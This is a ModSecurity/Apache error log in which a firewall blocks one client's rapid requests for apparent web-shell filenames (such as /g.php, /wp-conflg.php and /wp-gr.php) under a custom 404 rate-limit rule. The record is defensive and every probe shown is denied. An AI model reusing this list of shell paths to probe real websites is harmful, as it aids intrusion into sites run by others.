[Fri Jan 02 20:35:33.196521 2026] [:error] [pid 63099:tid 63149] [client 4.189.161.129:60657] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aVe7lcmCZokRPYUhzvi4hAAAAE8"]
[Fri Jan 02 20:35:33.561425 2026] [:error] [pid 63100:tid 63169] [client 4.189.161.129:46886] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aVe7lTuUXUKd3KTnKl9J0gAAAIg"]
[Fri Jan 02 20:35:34.390602 2026] [:error] [pid 29316:tid 29333] [client 4.189.161.129:17446] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aVe7ltfT9ty-7jZmgf-orgAAAQ8"]
[Fri Jan 02 20:35:34.950086 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:57784] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aVe7lsez9k78gUs48kpVKwAAAAI"]
[Fri Jan 02 20:35:35.289426 2026] [:error] [pid 63098:tid 63111] [client 4.189.161.129:45616] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aVe7l8ez9k78gUs48kpVLQAAAAQ"]
[Fri Jan 02 20:35:35.692002 2026] [:error] [pid 63208:tid 63226] [client 4.189.161.129:57766] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aVe7l3KLI9INGPLzfndDHAAAAM8"]
[Fri Jan 02 20:35:36.032807 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:57752] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aVe7mMez9k78gUs48kpVLwAAABQ"]
[Fri Jan 02 20:35:36.477972 2026] [:error] [pid 63099:tid 63138] [client 4.189.161.129:46872] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aVe7mMmCZokRPYUhzvi4hwAAAEQ"]
[Fri Jan 02 20:35:37.076622 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:45577] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aVe7mcez9k78gUs48kpVMgAAABE"]
[Fri Jan 02 20:35:37.832322 2026] [:error] [pid 50186:tid 50190] [client 4.189.161.129:17419] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aVe7mVXqK_iX4f-S70JvaQAAAYI"]
[Fri Jan 02 20:35:38.279379 2026] [:error] [pid 63098:tid 63117] [client 4.189.161.129:17439] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aVe7msez9k78gUs48kpVNwAAAAo"]
[Fri Jan 02 20:35:38.762636 2026] [:error] [pid 63098:tid 63107] [client 4.189.161.129:57769] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aVe7msez9k78gUs48kpVOQAAAAA"]
[Fri Jan 02 20:35:39.377032 2026] [:error] [pid 63100:tid 63170] [client 4.189.161.129:57777] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aVe7mzuUXUKd3KTnKl9J1AAAAIk"]
[Fri Jan 02 20:35:40.614012 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:17456] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aVe7nMez9k78gUs48kpVPgAAABA"]
[Fri Jan 02 20:35:41.871255 2026] [:error] [pid 63099:tid 63142] [client 4.189.161.129:57771] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aVe7ncmCZokRPYUhzvi4igAAAEg"]
[Fri Jan 02 20:35:42.456632 2026] [:error] [pid 63098:tid 63114] [client 4.189.161.129:46903] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aVe7nsez9k78gUs48kpVRwAAAAc"]
[Fri Jan 02 20:35:43.009657 2026] [:error] [pid 50186:tid 50210] [client 4.189.161.129:60623] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aVe7n1XqK_iX4f-S70JvbgAAAZY"]
[Fri Jan 02 20:35:43.944436 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:46852] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aVe7n8ez9k78gUs48kpVSAAAAAI"]
[Fri Jan 02 20:35:44.370208 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:60660] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aVe7oMez9k78gUs48kpVSgAAAA4"]
[Fri Jan 02 20:35:44.814305 2026] [:error] [pid 50186:tid 50197] [client 4.189.161.129:60613] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aVe7oFXqK_iX4f-S70JvcgAAAYk"]
[Fri Jan 02 20:35:45.260475 2026] [:error] [pid 50186:tid 50194] [client 4.189.161.129:45610] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aVe7oVXqK_iX4f-S70JvcwAAAYY"]
[Fri Jan 02 20:35:45.762932 2026] [:error] [pid 63208:tid 63219] [client 4.189.161.129:46894] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aVe7oXKLI9INGPLzfndDJgAAAMg"]
[Fri Jan 02 20:35:46.788570 2026] [:error] [pid 29316:tid 29325] [client 4.189.161.129:46871] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aVe7otfT9ty-7jZmgf-oxwAAAQc"]
[Fri Jan 02 20:35:47.442654 2026] [:error] [pid 63208:tid 63214] [client 4.189.161.129:57737] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aVe7o3KLI9INGPLzfndDJwAAAMM"]
[Fri Jan 02 20:35:48.209426 2026] [:error] [pid 63208:tid 63229] [client 4.189.161.129:57781] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aVe7pHKLI9INGPLzfndDKAAAANI"]
[Fri Jan 02 20:35:48.992798 2026] [:error] [pid 50186:tid 50196] [client 4.189.161.129:60650] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aVe7pFXqK_iX4f-S70JvegAAAYg"]
[Fri Jan 02 20:35:49.567013 2026] [:error] [pid 29316:tid 29335] [client 4.189.161.129:60641] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aVe7pdfT9ty-7jZmgf-ozQAAARE"]
[Fri Jan 02 20:35:50.007809 2026] [:error] [pid 50186:tid 50202] [client 4.189.161.129:17442] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aVe7plXqK_iX4f-S70JvewAAAY4"]
[Fri Jan 02 20:35:50.861934 2026] [:error] [pid 50186:tid 50201] [client 4.189.161.129:46890] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aVe7plXqK_iX4f-S70JvfAAAAY0"]
[Fri Jan 02 20:35:51.973947 2026] [:error] [pid 50186:tid 50206] [client 4.189.161.129:45599] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aVe7p1XqK_iX4f-S70JvfQAAAZI"]
[Fri Jan 02 20:35:52.565453 2026] [:error] [pid 43358:tid 43377] [client 4.189.161.129:45605] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aVe7qAncbHK9auzvrA9R8wAAAdE"]
[Fri Jan 02 20:35:53.049705 2026] [:error] [pid 50046:tid 50052] [client 4.189.161.129:57791] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aVe7qSzv7fgIiwkQYNCpzgAAAUQ"]
[Fri Jan 02 20:35:53.694144 2026] [:error] [pid 63208:tid 63212] [client 4.189.161.129:57768] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aVe7qXKLI9INGPLzfndDLgAAAME"]
[Fri Jan 02 20:35:54.080753 2026] [:error] [pid 50046:tid 50054] [client 4.189.161.129:45576] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aVe7qizv7fgIiwkQYNCp0QAAAUY"]
[Fri Jan 02 20:35:54.608285 2026] [:error] [pid 43358:tid 43371] [client 4.189.161.129:13908] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/layout.php"] [unique_id "aVe7qgncbHK9auzvrA9R9QAAAcs"]
[Fri Jan 02 20:35:55.476663 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:45579] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aVe7q8ez9k78gUs48kpVXwAAAAw"]
[Fri Jan 02 20:35:57.216163 2026] [:error] [pid 63208:tid 63231] [client 4.189.161.129:57749] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aVe7rXKLI9INGPLzfndDNQAAANQ"]
[Fri Jan 02 20:35:58.603808 2026] [:error] [pid 43358:tid 43379] [client 4.189.161.129:46901] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aVe7rgncbHK9auzvrA9R-AAAAdM"]
[Fri Jan 02 20:35:59.344728 2026] [:error] [pid 63099:tid 63143] [client 4.189.161.129:45572] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-gr.php"] [unique_id "aVe7r8mCZokRPYUhzvi4mAAAAEk"]
[Fri Jan 02 20:36:01.111473 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:57730] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aVe7scmCZokRPYUhzvi4nwAAAFc"]
[Fri Jan 02 20:36:01.647009 2026] [:error] [pid 63098:tid 63112] [client 4.189.161.129:57762] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aVe7scez9k78gUs48kpVagAAAAU"]
[Fri Jan 02 20:36:03.531034 2026] [:error] [pid 50186:tid 50196] [client 4.189.161.129:17436] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aVe7s1XqK_iX4f-S70JviQAAAYg"]
[Fri Jan 02 20:36:04.237200 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:46888] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a2.php"] [unique_id "aVe7tHKLI9INGPLzfndDOQAAAMc"]
[Fri Jan 02 20:36:05.871455 2026] [:error] [pid 63099:tid 63158] [client 4.189.161.129:57773] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aVe7tcmCZokRPYUhzvi4pQAAAFg"]
[Fri Jan 02 20:37:06.851620 2026] [:error] [pid 50046:tid 50062] [client 4.189.161.129:57772] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aVe78izv7fgIiwkQYNCqIwAAAU4"]
[Fri Jan 02 20:37:07.245649 2026] [:error] [pid 50186:tid 50204] [client 4.189.161.129:17453] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aVe781XqK_iX4f-S70Jv4wAAAZA"]
[Fri Jan 02 20:37:07.675280 2026] [:error] [pid 50186:tid 50207] [client 4.189.161.129:45602] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aVe781XqK_iX4f-S70Jv5wAAAZM"]
[Fri Jan 02 20:37:08.315312 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:46849] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aVe79Mez9k78gUs48kpVzgAAAA0"]
[Fri Jan 02 20:37:08.935016 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:45598] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aVe79Mez9k78gUs48kpV0AAAAAI"]
[Fri Jan 02 20:37:09.390765 2026] [:error] [pid 63100:tid 63175] [client 4.189.161.129:57765] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aVe79TuUXUKd3KTnKl9KGAAAAI4"]
[Fri Jan 02 20:37:09.778129 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:46857] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aVe79cez9k78gUs48kpV1QAAABQ"]
[Fri Jan 02 20:37:10.355659 2026] [:error] [pid 50186:tid 50204] [client 4.189.161.129:60640] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aVe79lXqK_iX4f-S70Jv7wAAAZA"]
[Fri Jan 02 20:37:10.735611 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:46878] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aVe79sez9k78gUs48kpV3AAAAAg"]
[Fri Jan 02 20:37:11.512891 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:60659] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aVe798mCZokRPYUhzvi40gAAAFc"]
[Fri Jan 02 20:37:11.834758 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:60656] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aVe798ez9k78gUs48kpV3wAAAA0"]
[Fri Jan 02 20:37:12.132912 2026] [:error] [pid 63098:tid 63107] [client 4.189.161.129:45580] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aVe7-Mez9k78gUs48kpV4AAAAAA"]
